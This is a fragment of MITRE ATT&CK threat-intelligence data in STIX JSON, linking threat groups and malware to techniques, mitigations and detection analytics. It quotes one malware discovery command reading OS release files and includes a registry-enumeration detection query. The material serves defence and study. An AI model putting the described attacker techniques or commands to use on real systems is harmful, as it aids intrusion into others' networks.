"2023-07-10T15:23:12.206Z", "description": "Restrict the use of third-party software suites installed within an enterprise network. ", "relationship_type": "mitigates", "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87d193e1-8418-46d1-81c6-66a6b863e6de", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87d7a5b5-8f45-4a88-bc3c-f73f67a50255", "created": "2023-08-08T14:09:55.490Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.658Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has utilized the PowerShell script `Get-DataInfo.ps1` to collect installed backup software information from a compromised machine.(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87d83969-9f72-40a7-bcf9-edd7561bb49b", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:35:34.068Z", "description": "Monitor for unexpected process interactions with the Windows Registry (i.e. reads) that may be related to gathering information.\n\nNote: For Security Auditing event ids 4656 and 4663, a System Access Control List (SACL) that controls the use of specific access rights such as Enumerate sub-keys and Query key value is required for event generation. Depending on the Registry key you are monitoring, the implementation of a new System Access Control List (SACL) might be required. Depending of Registry key used for the creation of a System Access Control List (SACL), the generation of event ids 4656 and 4663 might be noisy.\n\nAnalytic 1 - Suspicious Registry\n\n<code>(source=\"*WinEventLog:Security\" EventCode IN (4663, 4656)) AND ObjectType=\"Key\" | WHERE ObjectName LIKE \"%SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall%\" AND (UserAccessList LIKE \"%4435%\" OR UserAccessList LIKE \"%Enumerate sub-keys%\" OR UserAccessList LIKE \"%4432%\" OR UserAccessList LIKE \"%Query key value%\") AND Image NOT IN ('FilePathToExpectedProcess01.exe','FilePathToExpectedProcess02.exe')</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87ddc052-0933-4722-9fb2-4653c4a3663c", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html", "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", "source_name": "aptsim"}], "modified": "2020-03-16T23:31:14.695Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to stage files for exfiltration in a single location.(Citation: aptsim)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87df901e-dd6b-4eae-9a63-b546c169d192", "type": "relationship", "created": "2020-10-20T03:32:46.759Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:44:05.832Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T18:38:39.083Z", "description": "The initial beacon packet for [Misdat](https://attack.mitre.org/software/S0083) contains the operating system version of the victim.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87e0b924-d2a6-4e65-95ed-9500670bbe5c", "created": "2024-03-26T19:33:17.723Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CISA Scattered Spider Advisory November 2023", "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). 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Retrieved March 18, 2024.", "url": "https://www.trellix.com/blogs/research/scattered-spider-the-modus-operandi/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T15:06:17.688Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) directed victims to run remote monitoring and management (RMM) tools.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\nIn addition to directing victims to run remote software, Scattered Spider members themselves also deploy RMM software including AnyDesk, LogMeIn, and ConnectWise Control to establish persistence on the compromised network.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: Trellix Scattered Spider MO August 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87e49c65-5484-47f3-bcd6-a8cc6308c3f2", "type": "relationship", "created": "2021-07-01T17:06:56.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-07-01T17:06:56.855Z", "description": "[Nebulae](https://attack.mitre.org/software/S0630) has created a service named \"Windows Update Agent1\" to appear legitimate.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87e73122-361f-47a2-a401-0e863300e123", "created": "2022-10-17T15:58:29.867Z", "revoked": false, "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022.", "url": "https://www.clearskysec.com/siamesekitten/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T15:58:29.867Z", "description": "[Shark](https://attack.mitre.org/software/S1019) can stop execution if the screen width of the targeted machine is not over 600 pixels.(Citation: ClearSky Siamesekitten August 2021)", "relationship_type": "uses", "source_ref": "malware--99854cc8-f202-4e03-aa0a-4f8a4af93229", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87e7c117-bf53-432e-9ff3-2aeb2e522231", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lazarus RATANKBA", "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"}, {"source_name": "RATANKBA", "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}], "modified": "2020-09-02T18:46:32.969Z", "description": "[RATANKBA](https://attack.mitre.org/software/S0241) lists the system\u2019s processes.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)", "relationship_type": "uses", "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87e853bb-a82f-4a8c-a43a-e7da05f43619", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "alientvault macspy", "description": "PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.", "url": "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"}], "modified": "2020-01-17T19:50:53.305Z", "description": "[MacSpy](https://attack.mitre.org/software/S0282) stores itself in <code>~/Library/.DS_Stores/</code> (Citation: alientvault macspy)", "relationship_type": "uses", "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87e99b39-e634-477e-b260-6098abc58dc2", "type": "relationship", "created": "2021-04-13T13:10:36.947Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}], "modified": "2021-04-13T13:10:36.947Z", "description": "[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can list PHP server configuration details.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87ebb077-671c-42b2-ad27-07f54b5920be", "type": "relationship", "created": "2022-03-24T22:31:32.754Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-24T22:31:32.754Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can scan for open ports on a compromised machine.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87ef3b62-acb4-4cd2-86ec-36683a57bedf", "created": "2023-09-21T16:26:40.779Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.", "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-12T21:17:14.876Z", "description": "[RotaJakiro](https://attack.mitre.org/software/S1078) executes a set of commands to collect device information, including `uname`.  Another example is the `cat /etc/*release | uniq` command used to collect the current OS distribution.(Citation: RotaJakiro 2021 netlab360 analysis)", "relationship_type": "uses", "source_ref": "malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87f40abf-4ee5-4f56-8150-97e0dd823a93", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "source_name": "Unit 42 DarkHydrus July 2018"}, {"source_name": "Unit42 DarkHydrus Jan 2019", "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}], "modified": "2019-04-22T19:23:13.541Z", "description": "(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", "target_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--87f45aac-1025-4a44-af9c-db139ea60f78", "created": "2020-03-17T00:07:27.461Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}, {"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T17:51:20.412Z", "description": "Later implants used by [APT28](https://attack.mitre.org/groups/G0007), such as [CHOPSTICK](https://attack.mitre.org/software/S0023), use a blend of HTTP, HTTPS, and other legitimate channels for C2, depending on module configuration.(Citation: FireEye APT28)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. 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Retrieved March 27, 2023.", "url": "https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-27T17:01:46.795Z", "description": "Use application control where appropriate. For example, PowerShell Constrained Language mode can be used to restrict access to sensitive or otherwise dangerous language elements such as those used to execute arbitrary Windows APIs or files (e.g., `Add-Type`).(Citation: Microsoft PowerShell CLM)", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8801779f-200c-4744-823e-c3405ec9a22e", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--88078d5c-bbc9-4c34-858f-e18d472d38d4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2020-03-16T16:34:49.826Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download a remote access tool, [ShiftyBug](https://attack.mitre.org/software/S0294), and inject into another process.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--880a83f9-a07a-436d-8aa4-1afbe8b66d57", "created": "2022-08-11T22:50:14.770Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:29:47.695Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used legitimate applications to side-load malicious DLLs.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--882002ca-25a6-4226-9cc4-3efe5f798449", "type": "relationship", "created": "2020-05-28T16:38:03.779Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. 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Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/", "source_name": "Carbon Black Emotet Apr 2019"}], "modified": "2020-06-23T19:51:01.709Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has sent Microsoft Word documents with embedded macros that will invoke scripts to download additional payloads. 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Retrieved June 13, 2019.", "url": "https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:22:36.390Z", "description": "[KeyBoy](https://attack.mitre.org/software/S0387) has a download and upload functionality.(Citation: PWC KeyBoys Feb 2017)(Citation: Rapid7 KeyBoy Jun 2013)", "relationship_type": "uses", "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8835056d-c12a-4036-9028-7b8d867f2d79", "type": "relationship", "created": "2022-03-24T22:31:32.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. 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Retrieved September 21, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[MirageFox](https://attack.mitre.org/software/S0280) is likely loaded via DLL hijacking into a legitimate McAfee binary.(Citation: APT15 Intezer June 2018)", "modified": "2022-07-22T18:52:32.771Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--883822b2-c788-4a60-b9ad-e73e363b1ea6", "created": "2023-02-14T18:27:58.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MalwareBytes WoodyRAT Aug 2022", "description": "MalwareBytes Threat Intelligence Team. (2022, August 3). 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Retrieved June 30, 2020."}], "modified": "2020-07-01T21:30:17.393Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) has obfuscated data with base64, AES, RC4, and bz2.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--885c54ee-078a-4cc2-a2a1-c7376767b6b6", "type": "relationship", "created": "2021-03-04T14:15:16.114Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft HAFNIUM March 2020", "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "description": "MSTIC. (2021, March 2). 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Retrieved September 10, 2020."}], "modified": "2020-09-11T13:27:44.324Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can identify the groups the user on a compromised host belongs to.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--88852c38-9aeb-47f4-be63-dc09b8583155", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "description": "Svajcer, V. (2018, July 31). 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Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has created e-mail accounts to spoof targeted organizations.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-18T18:52:33.003Z", "relationship_type": "uses", "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": 